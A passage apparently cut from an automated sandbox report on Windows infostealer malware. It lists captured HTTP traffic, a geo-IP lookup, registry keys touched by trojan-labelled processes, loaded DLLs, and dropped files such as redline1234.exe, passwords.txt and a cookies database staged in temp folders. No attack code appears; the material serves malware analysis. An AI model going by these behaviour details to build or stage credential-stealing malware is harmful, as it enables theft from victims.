==>308202D00A0100A08202C9308202C506092B0601050507300101048202B6308202B230819BA2160414E4AF2B26711A2B4827852F52662CEFF08913713E180F32....... "GET /gtsr1/gtsr1.crl HTTP/1.1 Connection: Keep-Alive Accept: */* User-Agent: Microsoft-CryptoAPI/6.1 Host: crl.pki.goog" Response ==> HTTP/1.1 200 OK Accept-Ranges: bytes Content-Security-Policy-Report-Only: require-trusted-types-for 'script'; report-uri https://csp.withgoogle.com/csp/cacerts Cross-Origin-Resource-Policy: cross-origin Cross-Origin-Opener-Policy: same-origin; report-to="cacerts" Report-To: {"group":"cacerts" "max_age":2592000 "endpoints":[{"url":"https://csp.withgoogle.com/csp/report-to/cacerts"}]} Content-Length: 854 X-Content-Type-Options: nosniff Server: sffe X-XSS-Protection: 0 Date: Mon 29 Jan 2024 01:03:10 GMT Expires: Mon 29 Jan 2024 01:53:10 GMT Cache-Control: public max-age=3000 Age: 1784 Last-Modified: Mon 18 Sep 2023 16:18:00 GMT Content-Type: application/pkix-crl Vary: Accept-Encoding with response body ==>308203523082013A020101300D06092A864886F70D01010B05003047310B300906035504061302555331223020060355040A1319476F6F676C65205472757374....... "GET /gts1c3/QqFxbi9M48c.crl HTTP/1.1 Connection: Keep-Alive Accept: */* User-Agent: Microsoft-CryptoAPI/6.1 Host: crls.pki.goog" Response ==> HTTP/1.1 200 OK Accept-Ranges: bytes Content-Security-Policy-Report-Only: require-trusted-types-for 'script'; report-uri https://csp.withgoogle.com/csp/cacerts Cross-Origin-Resource-Policy: cross-origin Cross-Origin-Opener-Policy: same-origin; report-to="cacerts" Report-To: {"group":"cacerts" "max_age":2592000 "endpoints":[{"url":"https://csp.withgoogle.com/csp/report-to/cacerts"}]} Content-Length: 18838 X-Content-Type-Options: nosniff Server: sffe X-XSS-Protection: 0 Date: Mon 29 Jan 2024 01:11:20 GMT Expires: Mon 29 Jan 2024 02:01:20 GMT Cache-Control: public max-age=3000 Last-Modified: Sun 28 Jan 2024 23:12:10 GMT Content-Type: application/pkix-crl Vary: Accept-Encoding Age: 1294 with response body ==>308249923082487A020101300D06092A864886F70D01010B05003046310B300906035504061302555331223020060355040A1319476F6F676C65205472757374....... "GET /MFEwTzBNMEswSTAJBgUrDgMCGgUABBTfqhLjKLEJQZPin0KCzkdAQpVYowQUsT7DaQP4v0cB1JgmGggC72NkK8MCEATh56TcXPLzbcArQrhdFZ8%3D HTTP/1.1 Connection: Keep-Alive Accept: */* User-Agent: Microsoft-CryptoAPI/6.1 Host: ocsp.digicert.com" Response ==> HTTP/1.1 200 OK Accept-Ranges: bytes Age: 5773 Cache-Control: max-age=7200 Content-Type: application/ocsp-response Date: Mon 29 Jan 2024 01:33:01 GMT Last-Modified: Sun 28 Jan 2024 23:56:48 GMT Server: ECAcc (sac/254A) X-Cache: HIT Content-Length: 471 with response body ==>308201D30A0100A08201CC308201C806092B0601050507300101048201B9308201B530819EA2160414B13EC36903F8BF4701D498261A0802EF63642BC3180F32....... "GET /gts1c3/MFEwTzBNMEswSTAJBgUrDgMCGgUABBTHLnmK3f9hNLO67UdCuLvGwCQHYwQUinR%2Fr4XN7pXNPZzQ4kYU83E1HScCEB1PEJ9gAC7lEgL62A77Qs4%3D HTTP/1.1 Connection: Keep-Alive Accept: */* User-Agent: Microsoft-CryptoAPI/6.1 Host: ocsp.pki.goog" Response ==> HTTP/1.1 200 OK Server: ocsp_responder Content-Length: 471 X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN Date: Mon 29 Jan 2024 01:01:36 GMT Cache-Control: public max-age=14400 Content-Type: application/ocsp-response Age: 1890 with response body ==>308201D30A0100A08201CC308201C806092B0601050507300101048201B9308201B530819EA21604148A747FAF85CDEE95CD3D9CD0E24614F371351D27180F32....... "GET /MFEwTzBNMEswSTAJBgUrDgMCGgUABBTPJvUY%2Bsl%2Bj4yzQuAcL2oQno5fCgQUUWj%2FkK8CB3U8zNllZGKiErhZcjsCEAYOyJQEwXvqPhTFislHJA0%3D HTTP/1.1 Connection: Keep-Alive Accept: */* User-Agent: Microsoft-CryptoAPI/6.1 Host: ocsp.digicert.com" Response ==> HTTP/1.1 200 OK Accept-Ranges: bytes Age: 3116 Cache-Control: max-age=7200 Content-Type: application/ocsp-response Date: Mon 29 Jan 2024 01:33:07 GMT Last-Modified: Mon 29 Jan 2024 00:41:11 GMT Server: ECAcc (sac/251F) X-Cache: HIT Content-Length: 471 with response body ==>308201D30A0100A08201CC308201C806092B0601050507300101048201B9308201B530819EA21604145168FF90AF0207753CCCD9656462A212B859723B180F32....... "GET /geoip/v2.1/city/me HTTP/1.1 Connection: Keep-Alive Referer: https://www.maxmind.com/en/locate-my-ip-address User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Host: www.maxmind.com" Response ==> HTTP/1.1 403 Forbidden Date: Mon 29 Jan 2024 01:33:13 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 4519 Connection: keep-alive X-Frame-Options: SAMEORIGIN Referrer-Policy: same-origin Cache-Control: max-age=15 Expires: Mon 29 Jan 2024 01:33:28 GMT Server: cloudflare CF-RAY: 84cdb9cdc9a815fb-SJC with response body ==>3C21444F43545950452068746D6C3E0A3C212D2D5B6966206C7420494520375D3E203C68746D6C20636C6173733D226E6F2D6A7320696536206F6C6469652220....... "GET /MFEwTzBNMEswSTAJBgUrDgMCGgUABBQ50otx%2Fh0Ztl%2Bz8SiPI7wEWVxDlQQUTiJUIBiV5uNu5g%2F6%2BrkS7QYXjzkCEAxq6XzO1ZmDhpCgCp6lMhQ%3D HTTP/1.1 Connection: Keep-Alive Accept: */* User-Agent: Microsoft-CryptoAPI/6.1 Host: ocsp.digicert.com" Response ==> HTTP/1.1 200 OK Accept-Ranges: bytes Age: 5369 Cache-Control: max-age=7200 Content-Type: application/ocsp-response Date: Mon 29 Jan 2024 01:33:34 GMT Last-Modified: Mon 29 Jan 2024 00:04:05 GMT Server: ECAcc (sac/255D) X-Cache: HIT Content-Length: 471 with response body ==>308201D30A0100A08201CC308201C806092B0601050507300101048201B9308201B530819EA21604144E2254201895E6E36EE60FFAFAB912ED06178F39180F32.......42:T9dd,"DELETE FROM %Q.%s WHERE name=%Q" (Source: 32512-1597-010440C0, Indicator: "delete from %q.%s where name=%q") "DELETE FROM %Q.sqlite_stat1 WHERE idx=%Q" (Source: 32512-1597-010440C0, Indicator: "delete from %q.sqlite_stat1 where idx=%q") "UPDATE %Q.%s SET type='%s', name=%Q, tbl_name=%Q, rootpage=#%d, sql=%Q WHERE rowid=#%d" (Source: 32512-1770-01042280, Indicator: "update %q.%s set type='%s', name=%q, tbl_name=%q, rootpage=#%d, sql=%q where rowid=#%d") "UPDATE %Q.%s SET type='table', name=%Q, tbl_name=%Q, rootpage=0, sql=%Q WHERE rowid=#%d" (Source: 32512-1694-0105DBE0, Indicator: "update %q.%s set type='table', name=%q, tbl_name=%q, rootpage=0, sql=%q where rowid=#%d") "SELECT name, rootpage, sql FROM '%q'.%s WHERE %s" (Source: 32512-1567-0102ED20, Indicator: "select name, rootpage, sql from '%q'.%s where %s") "DELETE FROM %Q.%s WHERE tbl_name=%Q and type!='trigger'" (Source: 32512-1767-010428B0, Indicator: "delete from %q.%s where tbl_name=%q and type!='trigger'") "DELETE FROM %Q.sqlite_stat1 WHERE tbl=%Q" (Source: 32512-1767-010428B0, Indicator: "delete from %q.sqlite_stat1 where tbl=%q") "UPDATE "%w".%s SET sql = substr(sql,1,%d) || ', ' || %Q || substr(sql,%d) WHERE type = 'table' AND name = %Q" (Source: 32512-1691-0103E8B0, Indicator: "update "%w".%s set sql = substr(sql,1,%d) || ', ' || %q || substr(sql,%d) where type = 'table' and name = %q"), "UPDATE %Q.%s SET sql = sqlite_rename_table(sql, %Q) tbl_name = %Q name = CASE WHEN type='table' THEN %Q WHEN name LIKE 'sqlite_autoindex%%' AND type='index' THEN 'sqlite_autoindex_' || %Q || substr(name,%d+18) ELSE name END WHERE tbl_name=%Q AND (type='" (Source: 32512-1689-0103E180, Indicator: "update %q.%s set sql = sqlite_rename_table(sql, %q) tbl_name = %q name = case when type='table' then %q when name like 'sqlite_autoindex%%' and type='index' then 'sqlite_autoindex_' || %q || substr(name,%d+18) else name end where tbl_name=%q and (type='") "INSERT INTO %Q.%s VALUES('index',%Q,%Q,#%d,%Q);" (Source: 32512-1510-01043140, Indicator: "insert into %q.%s values('index',%q,%q,#%d,%q);"), "CREATE TABLE sqlite_master( type text, name text, tbl_name text, rootpage integer, sql text)" (Source: 32512-1540-01050B90, Indicator: "create table sqlite_master( type text, name text, tbl_name text, rootpage integer, sql text)"), "SELECT name rootpage sql FROM '%q'.%s" (Source: 32512-1540-01050B90, Indicator: "select name rootpage sql from '%q'.%s"), "CREATE TABLE" (Source: 32512-1771-01042010, Indicator: "create table")43:T14cd,"SecuriteInfo.com.Win32.TrojanX-gen.27509.3378.exe" touched "Computer" (Path: "HKCU\CLSID\{20D04FE0-3AEA-1069-A2D8-08002B30309D}\SHELLFOLDER") "SecuriteInfo.com.Win32.TrojanX-gen.27509.3378.exe" touched "Memory Mapped Cache Mgr" (Path: "HKCU\CLSID\{1F486A52-3CB1-48FD-8F50-B8DC300D9F9D}") "SecuriteInfo.com.Win32.TrojanX-gen.27509.3378.exe" touched "UsersFiles" (Path: "HKCU\CLSID\{59031A47-3F72-44A7-89C5-5595FE6B30EE}\SHELLFOLDER") "SecuriteInfo.com.Win32.TrojanX-gen.27509.3378.exe" touched "Property System Both Class Factory" (Path: "HKCU\CLSID\{76765B11-3F95-4AF2-AC9D-EA55D8994F1A}") "SecuriteInfo.com.Win32.TrojanX-gen.27509.3378.exe" touched "delegate folder that appears in Users Files Folder" (Path: "HKCU\CLSID\{DFFACDC5-679F-4156-8947-C5C76BC0B67F}\SHELLFOLDER") "SecuriteInfo.com.Win32.TrojanX-gen.27509.3378.exe" touched "Shell File System Folder" (Path: "HKCU\CLSID\{0E5AAE11-A475-4C5B-AB00-C66DE400274E}\INPROCSERVER32") "SecuriteInfo.com.Win32.TrojanX-gen.27509.3378.exe" touched "Security Manager" (Path: "HKCU\CLSID\{7B8A2D94-0AC9-11D1-896C-00C04FB6BFC4}\TREATAS") "SecuriteInfo.com.Win32.TrojanX-gen.27509.3378.exe" touched "NetworkListManager" (Path: "HKCU\CLSID\{DCB00C01-570F-4A9B-8D69-199FDBA5723B}\TREATAS") "SecuriteInfo.com.Win32.TrojanX-gen.27509.3378.exe" touched "Network List Manager" (Path: "HKCU\CLSID\{A47979D2-C419-11D9-A5B4-001185AD2B89}\TREATAS") "SecuriteInfo.com.Win32.TrojanX-gen.27509.3378.exe" touched "PSFactoryBuffer" (Path: "HKCU\CLSID\{1299CF18-C4F5-4B6A-BB0F-2299F0398E27}\TREATAS") "SecuriteInfo.com.Win32.TrojanX-gen.27509.3378.exe" touched "WinInetBroker Class" (Path: "HKCU\CLSID\{C39EE728-D419-4BD4-A3EF-EDA059DBD935}\TREATAS") "MHH8pQrdaTkfN7lyJVXS.exe" touched "Network" (Path: "HKCU\CLSID\{208D2C60-3AEA-1069-A2D7-08002B30309D}\SHELLFOLDER") "MHH8pQrdaTkfN7lyJVXS.exe" touched "Application Registration" (Path: "HKCU\CLSID\{591209C7-767B-42B2-9FBA-44EE4615F2C7}\TREATAS") "MHH8pQrdaTkfN7lyJVXS.exe" touched "Recycle Bin" (Path: "HKCU\CLSID\{645FF040-5081-101B-9F08-00AA002F954E}\SHELLFOLDER") "MHH8pQrdaTkfN7lyJVXS.exe" touched "Control Panel" (Path: "HKCU\CLSID\{26EE0668-A00A-44D7-9371-BEB064C98683}\SHELLFOLDER") "MHH8pQrdaTkfN7lyJVXS.exe" touched "UsersLibraries" (Path: "HKCU\CLSID\{031E4825-7B94-4DC3-B131-E946B44C8DD5}\SHELLFOLDER") "MHH8pQrdaTkfN7lyJVXS.exe" touched "CLSID_SearchFolder" (Path: "HKCU\CLSID\{04731B67-D933-450A-90E6-4ACD2E9408FE}\SHELLFOLDER") "MHH8pQrdaTkfN7lyJVXS.exe" touched "Microsoft OneNote Namespace Extension for Windows Desktop Search" (Path: "HKCU\CLSID\{0875DCB6-C686-4243-9432-ADCCF0B9F2D7}\SHELLFOLDER") "MHH8pQrdaTkfN7lyJVXS.exe" touched "IE History and Feeds Shell Data Source for Windows Search" (Path: "HKCU\CLSID\{11016101-E366-4D22-BC06-4ADA335C892B}\SHELLFOLDER") "MHH8pQrdaTkfN7lyJVXS.exe" touched "@C:\Program Files (x86)\Microsoft Office\Office15\MAPISHELL.DLL,-110" (Path: "HKCU\CLSID\{138508BC-1E03-49EA-9C8F-EA9E1D05D65D}\SHELLFOLDER") "MHH8pQrdaTkfN7lyJVXS.exe" touched "Public Folder" (Path: "HKCU\CLSID\{4336A54D-038B-4685-AB02-99BB52D3FB8B}\SHELLFOLDER") "MHH8pQrdaTkfN7lyJVXS.exe" touched "Control Panel command object for Start menu and desktop" (Path: "HKCU\CLSID\{5399E694-6CE5-4D6C-8FCE-1D8870FDCBA0}\SHELLFOLDER") "MHH8pQrdaTkfN7lyJVXS.exe" touched "@%systemroot%\system32\mssvp.dll,-110" (Path: "HKCU\CLSID\{89D83576-6BD1-4C86-9454-BEB04E94C819}\SHELLFOLDER") "MHH8pQrdaTkfN7lyJVXS.exe" touched "DXP" (Path: "HKCU\CLSID\{8FD8B88D-30E1-4F25-AC2B-553D3D65F0EA}\SHELLFOLDER") "MHH8pQrdaTkfN7lyJVXS.exe" touched "CLSID_SearchHome" (Path: "HKCU\CLSID\{9343812E-1C37-4A49-A12E-4B2D810D956B}\SHELLFOLDER") "MHH8pQrdaTkfN7lyJVXS.exe" touched "Windows Search Service Media Center Namespace Extension Handler" (Path: "HKCU\CLSID\{98D99750-0B8A-4C59-9151-589053683D73}\SHELLFOLDER") "MHH8pQrdaTkfN7lyJVXS.exe" touched "Other Users Folder" (Path: "HKCU\CLSID\{B4FB3F98-C1EA-428D-A78A-D1F5659CBA93}\SHELLFOLDER") "MHH8pQrdaTkfN7lyJVXS.exe" touched "@%systemroot%\system32\mssvp.dll,-112" (Path: "HKCU\CLSID\{BD7A2E7B-21CB-41B2-A086-B309680C6B7E}\SHELLFOLDER") "MHH8pQrdaTkfN7lyJVXS.exe" touched "CLSID_StartMenuProviderFolder" (Path: "HKCU\CLSID\{DAF95313-E44D-46AF-BE1B-CBACEA2C3065}\SHELLFOLDER") "MHH8pQrdaTkfN7lyJVXS.exe" touched "CLSID_StartMenuPathCompleteProviderFolder" (Path: "HKCU\CLSID\{E345F35F-9397-435C-8F95-4E922C26259E}\SHELLFOLDER") "MHH8pQrdaTkfN7lyJVXS.exe" touched "Games Explorer" (Path: "HKCU\CLSID\{ED228FDF-9EA8-4870-83B1-96B02CFE0D52}\SHELLFOLDER") "MHH8pQrdaTkfN7lyJVXS.exe" touched "Computers and Devices" (Path: "HKCU\CLSID\{F02C1A0D-BE21-4350-88B0-7367FC96EF3C}\SHELLFOLDER") "MHH8pQrdaTkfN7lyJVXS.exe" touched "Sticky Notes Namespace Extension for Windows Desktop Search" (Path: "HKCU\CLSID\{F3F5824C-AD58-4728-AF59-A1EBE3392799}\SHELLFOLDER") "MHH8pQrdaTkfN7lyJVXS.exe" touched "Network Diagnostics Framework" (Path: "HKCU\CLSID\{C529C7EF-A3AF-45F2-8A47-767B33AA5CC0}\TREATAS") "N_QwR4NSLtBtcixCu5po.exe" touched "Search Gatherer Notification" (Path: "HKCU\CLSID\{9E175B6D-F52A-11D8-B9A5-505054503030}") "N_QwR4NSLtBtcixCu5po.exe" touched "Task Bar Communication" (Path: "HKCU\CLSID\{56FDF344-FD6D-11D0-958A-006097C9A090}") "N_QwR4NSLtBtcixCu5po.exe" touched "Progress Dialog" (Path: "HKLM\SOFTWARE\CLASSES\CLSID\{F8383852-FCD3-11D1-A6B9-006097DF5BD4}")44:T9fe,Observed system executable string:"%WINDIR%\system32\bcryptprimitives.dll" [Source: 00000000-00003992-00000C25-54408107] Observed system executable string:"%WINDIR%\system32\uxtheme.dll" [Source: 00000000-00003992-00000C25-87663824] Observed system executable string:"%WINDIR%\system32\DUser.dll" [Source: 00000000-00001416-00000C25-217179258] Observed system executable string:"%WINDIR%\system32\xmllite.dll" [Source: 00000000-00001416-00000C25-220155946] Observed system executable string:"%WINDIR%\system32\ole32.dll" [Source: 00000000-00002516-00000C25-168758584] Observed system executable string:"%WINDIR%\WinSxS\x86_microsoft.windows.gdiplus_6595b64144ccf1df_1.1.7601.23894_none_5c0be957a009922e\gdiplus.dll" [Source: 00000000-00002516-00000C25-177158441] Observed system executable string:"%WINDIR%\Microsoft.NET\Framework\v4.0.30319\mscoreei.dll" [Source: 00000000-00003792-00000C25-111778548] Observed system executable string:"%WINDIR%\Microsoft.NET\Framework\v4.0.30319\clr.dll" [Source: 00000000-00003792-00000C25-113718932] Observed system executable string:"%WINDIR%\Microsoft.NET\Framework\v4.0.30319\mscoree.dll" [Source: 00000000-00003792-00000C25-123652191] Observed system executable string:"%WINDIR%\system32\combase.dll" [Source: 00000000-00003792-00000C25-124870952] Observed system executable string:"%WINDIR%\assembly\NativeImages_v4.0.30319_32\mscorlib\36eaccfde177c2e7b93b8dbdde4e012a\mscorlib.ni.dll" [Source: 00000000-00003792-00000C25-129016043] Observed system executable string:"%WINDIR%\Microsoft.NET\Framework\v4.0.30319\ole32.dll" [Source: 00000000-00003792-00000C25-132068870] Observed system executable string:"%WINDIR%\Microsoft.NET\Framework\v4.0.30319\clrjit.dll" [Source: 00000000-00003792-00000C25-137983227] Observed system executable string:"%WINDIR%\Microsoft.NET\Framework\v4.0.30319\nlssorting.dll" [Source: 00000000-00003792-00000C25-141361151] Observed system executable string:"%WINDIR%\Microsoft.Net\assembly\GAC_32\mscorlib\v4.0_4.0.0.0__b77a5c561934e089\shell32.dll" [Source: 00000000-00003792-00000C25-141592146] Observed system executable string:"%WINDIR%\system32\en-US\tzres.dll.mui" [Source: 00000000-00003792-00000C25-143525190] Observed system executable string:"%WINDIR%\assembly\NativeImages_v4.0.30319_32\System\2c3c912ea8f058f9d04c4650128feb3f\System.ni.dll" [Source: 00000000-00003792-00000C25-156132162] Observed system executable string:"%WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System\v4.0_4.0.0.0__b77a5c561934e089\ntdll.dll" [Source: 00000000-00003792-00000C25-159484513]45:T2c36,"lada_1_.exe" has type "PE32 executable (GUI) Intel 80386 for MS Windows"- [targetUID: N/A] "RageMP131.exe" has type "PE32 executable (GUI) Intel 80386 for MS Windows"- Location: [%LOCALAPPDATA%\RageMP131\RageMP131.exe]- [targetUID: 00000000-00003788] "redline1234.exe" has type "PE32+ executable (GUI) x86-64 for MS Windows"- [targetUID: N/A] "A_fx0NQLKitBAeBAEfCf.exe" has type "PE32 executable (GUI) Intel 80386 for MS Windows"- Location: [%TEMP%\jobA4GHiLxQulTalN9\A_fx0NQLKitBAeBAEfCf.exe]- [targetUID: 00000000-00003788] "MHH8pQrdaTkfN7lyJVXS.exe" has type "PE32 executable (GUI) Intel 80386 for MS Windows"- Location: [%TEMP%\jobA4GHiLxQulTalN9\MHH8pQrdaTkfN7lyJVXS.exe]- [targetUID: 00000000-00001416] "xxRxKruXMsk3aXgsr67Q.exe" has type "PE32 executable (GUI) Intel 80386 for MS Windows"- Location: [%TEMP%\jobA4GHiLxQulTalN9\xxRxKruXMsk3aXgsr67Q.exe]- [targetUID: 00000000-00002348] "urlref_httpswww.youtube.com" has type "HTML document UTF-8 Unicode text with very long lines"- [targetUID: N/A] "explorhe.exe" has type "PE32 executable (GUI) Intel 80386 for MS Windows"- Location: [%TEMP%\d887ceb89d\explorhe.exe]- [targetUID: 00000000-00002516] "clip.dll" has type "PE32 executable (DLL) (GUI) Intel 80386 for MS Windows"- [targetUID: N/A] "cGutGk0YYa8pjPhoX_RK.exe" has type "PE32 executable (GUI) Intel 80386 Mono/.Net assembly for MS Windows"- Location: [%TEMP%\jobA4GHiLxQulTalN9\cGutGk0YYa8pjPhoX_RK.exe]- [targetUID: 00000000-00003992] "cred.dll" has type "HTML document ASCII text with CRLF line terminators"- [targetUID: N/A] "urlblockindex_1_.bin" has type "data"- [targetUID: N/A] "identifier_1_.htm" has type "HTML document UTF-8 Unicode text with very long lines"- [targetUID: N/A] "D87fZN3R3jFecookies.sqlite" has type "SQLite 3.x database user version 8 last written using SQLite version 3020001"- Location: [%TEMP%\jobA4GHiLxQulTalN9\D87fZN3R3jFecookies.sqlite]- [targetUID: 00000000-00003788] "TarE743.tmp" has type "data"- [targetUID: N/A] "77EC63BDA74BD0D0E0426DC8F8008506" has type "Microsoft Cabinet archive data Windows 2000/XP setup 66791 bytes 1 file at 0x2c +A "authroot.stl" number 1 6 datablocks 0x1 compression"- [targetUID: N/A] "CheckConnection_1_.htm" has type "HTML document ASCII text with very long lines"- [targetUID: N/A] "4UabrENHsxJlGDuGo1OIlLU94YtzCwA_1_.woff" has type "Web Open Font Format TrueType length 26412 version 1.1"- [targetUID: N/A] "4UaGrENHsxJlGDuGo1OIlL3Owpg_1_.woff" has type "Web Open Font Format TrueType length 26180 version 1.1"- [targetUID: N/A] "~DF9955C536A9673D79.TMP" has type "data"- [targetUID: N/A] "KFOlCnqEu92Fr1MmEU9fBBc-_1_.woff" has type "Web Open Font Format TrueType length 20012 version 1.1"- [targetUID: N/A] "KFOkCnqEu92Fr1MmgVxIIzQ_1_.woff" has type "Web Open Font Format TrueType length 19936 version 1.1"- [targetUID: N/A] "KFOlCnqEu92Fr1MmSU5fBBc-_1_.woff" has type "Web Open Font Format TrueType length 19916 version 1.1"- [targetUID: N/A] "KFOlCnqEu92Fr1MmWUlfBBc-_1_.woff" has type "Web Open Font Format TrueType length 19888 version 1.1"- [targetUID: N/A] "A3E6546D43CF3C4D85B14CC51DAFA332" has type "data"- [targetUID: N/A] "en-US.4" has type "data"- [targetUID: N/A] "~DF191093622A4C255D.TMP" has type "data"- [targetUID: N/A] "~DF7BE783AE71CB29E8.TMP" has type "data"- [targetUID: N/A] "~DFBEB8C81C0D2C7853.TMP" has type "data"- [targetUID: N/A] "~DF3273BC59E74FB24B.TMP" has type "data"- [targetUID: N/A] "~DF002234D250248A81.TMP" has type "data"- [targetUID: N/A] "imagestore.dat" has type "data"- [targetUID: N/A] "_8169D508-BE53-11EE-BBB8-0800273EBCA3_.dat" has type "Composite Document File V2 Document Cannot read section info"- [targetUID: N/A] "739F2FF4259CDC6CBE7B90F1A95601EF" has type "data"- [targetUID: N/A] "RecoveryStore._A2EBA993-BE4F-11EE-BBB8-0800273EBCA3_.dat" has type "Composite Document File V2 Document Cannot read section info"- [targetUID: N/A] "favicon_3_.ico" has type "MS Windows icon resource - 2 icons 16x16 32 bits/pixel 32x32 32 bits/pixel"- [targetUID: N/A] "information.txt" has type "ASCII text with CRLF LF line terminators"- Location: [%TEMP%\jobA3Q6P9BsOQ2wXMT\information.txt]- [targetUID: 00000000-00003788] "information.txt" has type "ASCII text with CRLF LF line terminators"- [targetUID: 00000000-00003788] "passwords.txt" has type "UTF-8 Unicode text with CRLF LF line terminators"- Location: [%TEMP%\jobA3GHiLxQulTalN9\passwords.txt]- [targetUID: 00000000-00003788] "57C8EDB95DF3F0AD4EE2DC2B8CFD4157" has type "Microsoft Cabinet archive data Windows 2000/XP setup 4770 bytes 1 file at 0x2c +A "disallowedcert.stl" number 1 1 datablock 0x1 compression"- [targetUID: N/A] "information.txt" has type "ASCII text with CRLF LF line terminators"- Location: [%TEMP%\jobA3GHiLxQulTalN9\information.txt]- [targetUID: 00000000-00003788] "_8169D507-BE53-11EE-BBB8-0800273EBCA3_.dat" has type "Composite Document File V2 Document Cannot read section info"- [targetUID: N/A] "_E68AEA0E-BE50-11EE-BBB8-0800273EBCA3_.dat" has type "Composite Document File V2 Document Cannot read section info"- [targetUID: N/A] "_8169D506-BE53-11EE-BBB8-0800273EBCA3_.dat" has type "Composite Document File V2 Document Cannot read section info"- [targetUID: N/A] "_9B3A2CD2-BE56-11EE-BBB8-0800273EBCA3_.dat" has type "Composite Document File V2 Document Cannot read section info"- [targetUID: N/A] "favicon_1_.ico" has type "MS Windows icon resource - 1 icon 32x32 32 bits/pixel"- [targetUID: N/A] "RykJ3JpwZm_UMlZedWjAlUZA0qioSPuU.zip" has type "Zip archive data at least v2.0 to extract"- Location: [%TEMP%\RykJ3JpwZm_UMlZedWjAlUZA0qioSPuU.zip]- [targetUID: 00000000-00003788] "c7mscE3GSmQdvkH9JAisf7ttxDsHKwpK.zip" has type "Zip archive data at least v2.0 to extract"- Location: [%TEMP%\c7mscE3GSmQdvkH9JAisf7ttxDsHKwpK.zip]- [targetUID: 00000000-00003992] "PVCPNOClOESnzsFoVfDeGLFAbrYHf7UP.zip" has type "Zip archive data at least v2.0 to extract"- [targetUID: N/A] "24BD96D5497F70B3F510A6B53CD43F3E_3A89246FB90C5EE6620004F1AE0EB0EA" has type "data"- [targetUID: N/A] "4748633DC5731827D4B432DBAC7A3ECE" has type "data"- [targetUID: N/A] "CAF4703619713E3F18D8A9D5D88D6288_A7725538C46DE2D0088EE44974E2CEBA" has type "data"- [targetUID: N/A] "6B2043001D270792DFFD725518EAFE2C" has type "data"- [targetUID: N/A] "EFDP096V.txt" has type "ASCII text"- [targetUID: N/A] "YJUYE09U.txt" has type "ASCII text"- [targetUID: N/A] "A16C6C16D94F76E0808C087DFC657D99_E8C9186ED5BC2F64FC58A60C8F09BA16" has type "data"- [targetUID: N/A] "265C0DEB29181DD1891051371C5F863A_CA2FE21C148698DA6726110134549C04" has type "data"- [targetUID: N/A] "80237EE4964FC9C409AAF55BF996A292_C0427F5F77D9B3A439FC620EDAAB6177" has type "data"- [targetUID: N/A] "80237EE4964FC9C409AAF55BF996A292_D46D6FA25B74360E1349F9015B5CCE53" has type "data"- [targetUID: N/A] "E2C6CBAF0AF08CF203BA74BF0D0AB6D5_0FB9553B978E7F00C6B2309507DEB64A" has type "data"- [targetUID: N/A] "265C0DEB29181DD1891051371C5F863A_0315896B3A3544F57396A8D784DC2DB4" has type "data"- [targetUID: N/A] "7423F88C7F265F0DEFC08EA88C3BDE45_AA1E8580D4EBC816148CE81268683776" has type "data"- [targetUID: N/A] "35DDEDF268117918D1D277A171D8DF7B_AED08C0AFB6120F278E3F2330D0C04A2" has type "data"- [targetUID: N/A] "EDC238BFF48A31D55A97E1E93892934B_C20E0DA2D0F89FE526E1490F4A2EE5AB" has type "data"- [targetUID: N/A] "8PDCXBT5.txt" has type "ASCII text"- [targetUID: N/A] "EAF8AA29A62AB29E614331747385D816_F9E4DC0B9D5C777357D7DB8DEF51118A" has type "data"- [targetUID: N/A] "DF973NTW.txt" has type "ASCII text"- [targetUID: N/A] "57C8EDB95DF3F0AD4EE2DC2B8CFD4157" has type "data"- [targetUID: N/A] "77EC63BDA74BD0D0E0426DC8F8008506" has type "data"- [targetUID: N/A] "BEC6224B02D155A396218A2504F3EE0B" has type "data"- [targetUID: N/A] "H2IUGFCS.htm" has type "gzip compressed data original size modulo 2^32 338"- [targetUID: N/A] "M5DBGFVN.txt" has type "ASCII text"- [targetUID: N/A] "IEFUX5GD.txt" has type "ASCII text"- [targetUID: N/A] "FO9H9WZZ.txt" has type "ASCII text"- [targetUID: N/A] "X1E6ZM3R.txt" has type "ASCII text"- [targetUID: N/A] "MZ1YZR3U.txt" has type "ASCII text"- [targetUID: N/A] "E5B8DFMQ.txt" has type "ASCII text"- [targetUID: N/A] "BBAFTY0M.txt" has type "ASCII text"- [targetUID: N/A] "LID7KQIC.txt" has type "ASCII text"- [targetUID: N/A] "R9FYC1AM.txt" has type "ASCII text"- [targetUID: N/A] "ITGKZN17.txt" has type "ASCII text"- [targetUID: N/A] "1EZJIVWW.txt" has type "ASCII text"- [targetUID: N/A] "bscframe_1_.htm" has type "HTML document ASCII text with no line terminators"- [targetUID: N/A] "F59E91F8" has type "data"- Location: [%TEMP%\F59E91F8]- [targetUID: 00000000-00003788] "rage131MP.tmp" has type "ASCII text with no line terminators"- Location: [%TEMP%\rage131MP.tmp]- [targetUID: 00000000-00003788] "5jxITIHj6OKJr9ZS6w6P.exe" has type "PE32 executable (GUI) Intel 80386 for MS Windows"- Location: [%TEMP%\jobA4GHiLxQulTalN9\5jxITIHj6OKJr9ZS6w6P.exe]- [targetUID: 00000000-00003992] "MPGPH131.exe" has type "PE32 executable (GUI) Intel 80386 for MS Windows"- Location: [%ALLUSERSPROFILE%\MPGPH131\MPGPH131.exe]- [targetUID: 00000000-00003788] "redline1234_1_.exe" has type "PE32+ executable (GUI) x86-64 for MS Windows"- [targetUID: N/A] "vinu_1_.exe" has type "PE32 executable (GUI) Intel 80386 for MS Windows"- [targetUID: N/A] "ko_1_.exe" has type "PE32 executable (GUI) Intel 80386 for MS Windows"- [targetUID: N/A] "networa_1_.exe" has type "PE32 executable (GUI) Intel 80386 for MS Windows"- [targetUID: N/A] "N_QwR4NSLtBtcixCu5po.exe" has type "PE32 executable (GUI) Intel 80386 for MS Windows"- Location: [%TEMP%\jobA4GHiLxQulTalN9\N_QwR4NSLtBtcixCu5po.exe]- [targetUID: 00000000-00002516] "amers_1_.exe" has type "PE32 executable (GUI) Intel 80386 for MS Windows"- [targetUID: N/A] "clip_1_.dll" has type "PE32 executable (DLL) (GUI) Intel 80386 for MS Windows"- [targetUID: N/A] "niks_1_.exe" has type "PE32 executable (GUI) Intel 80386 Mono/.Net assembly for MS Windows"- [targetUID: N/A] "D87fZN3R3jFecookies.sqlite" has type "SQLite 3.x database user version 8 last written using SQLite version 3020001"- [targetUID: 00000000-00003788] "D87fZN3R3jFecookies.sqlite" has type "SQLite 3.x database user version 8 last written using 